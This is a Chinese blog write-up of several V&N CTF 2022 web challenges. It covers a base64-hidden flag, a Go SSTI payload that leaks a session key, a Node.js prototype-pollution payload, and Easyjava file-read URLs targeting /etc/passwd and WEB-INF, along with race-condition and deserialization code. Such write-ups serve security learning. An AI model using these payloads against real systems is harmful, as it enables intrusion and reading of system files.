复现-V&N CTF 2022

GameV4.0

进入靶场

image-20220224111218185

源代码中查询flag,即可在data.js文件中发现一串base64编码字符串。

image-20220224112001707

"ZmxhZw==": "Vk5DVEYlN0JXZWxjb21lX3RvX1ZOQ1RGMjAyMiU3RA=="

解码可得:

VNCTF%7BWelcome_to_VNCTF2022%7D

再次URL解码可得:

VNCTF{Welcome_to_VNCTF2022}


Gocalc0

靶场如图image-20220222141852779

点击flag在这里进入如下界面image-20220222141826266

非预测解

在页面的session中藏有flag的加密信息,直接base64一把梭:

image-20220222142636148

image-20220222142730998

得到flag:flag{d3691925-e314-4405-81c1-c519f6ea8560}

预期解

SSTI打到源码

像这种有输入的+计算器的一般可以考虑SSTI注入。

在输入框中输入以下语句:

{{printf "%+v" .}}

image-20220222145057531

接着在本地启动一个相同的:

package main
import (
  _ "embed"
  "fmt"
  "os"
  "github.com/gin-contrib/sessions"
  "github.com/gin-contrib/sessions/cookie"
  "github.com/gin-gonic/gin"
)

func main() {
 port := os.Getenv("PORT")
 if port == "" {
 	port = "8080"
}
 
 r := gin.Default()
 store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
 r.Use(sessions.Sessions("session", store))

 r.GET("/", func(c *gin.Context) {
 	session := sessions.Default(c)
 	println(session.Get("FLAG").(string))
 })
 r.Run(fmt.Sprintf(":%s", port))
}

最后,我们看他输出即可。

得到flag:flag{d3691925-e314-4405-81c1-c519f6ea8560}


Newcalc0

nodejs原型链污染

https://nodejs.org/zh-cn/blog/vulnerability/jan-2022-security-releases/%23incorrect-handling-of-certificate-subject-and-issuer-fields-medium-cve-2021-44533

payloadconsole.table([{a:1}],['__proto__'])


Easyjava

来源:V&N CTF 2022 Official WriteUp

  1. 读取文件

    读取文件进行反编译

    /file?url=file:///etc/passwd
    /file?url=file:///etc/passwd
    /file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF
    
  2. 代码审计

    此点考察servlet的成员变量存在线程安全漏洞。
    doGet里有如下判断其中有Secr3t判断发现是矛盾的。需要条件竞争绕过第⼀个check,并且达到第二个check。

    image-20220224162627042

    竞争示例代码如下所示:

    a.py

    import requests
    host = "http://localhost:8089/ezjava/"
    while True:
        r = requests.get(host+"evi1?name=asdqwer")
        r.encoding = "utf-8"
        if r.text.find("The Key is")!=-1:
            print(r.text)
    	if(r.text.replace(" ","")!=""):
    		print(r.text)
    

    b.py

    import requests
    host = "http://localhost:8089/ezjava/"
    while True:
    	r = requests.get(host+"evi1?name=vnctf2022")
    	r.encoding = "utf-8"
    	if r.text.find("The Key is")!=-1:
    		print(r.text)
    

    image-20220224162907423

  3. 反序列化部分

    User u = new User("m4n_q1u_666","666","180");
    byte[] ustr = SerAndDe.serialize(u);
    

    tips:transient关键字修饰的变量无法直接反序列化,所以在生成byte的时候需要重写⼀下writeObject,否则会自己的User对象的height值为空。

    image-20220224163201293

    private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
    	s.defaultWriteObject();
    	//强制序列化name
    	s.writeObject(this.height);
    }
    

    最后拿着key和base64字符串打进入就行了。


InterestingPHP

RCE, redis主从复制,提权……

posted @ 2022-02-24 11:45  sherlson  阅读(141)  评论(0编辑  收藏  举报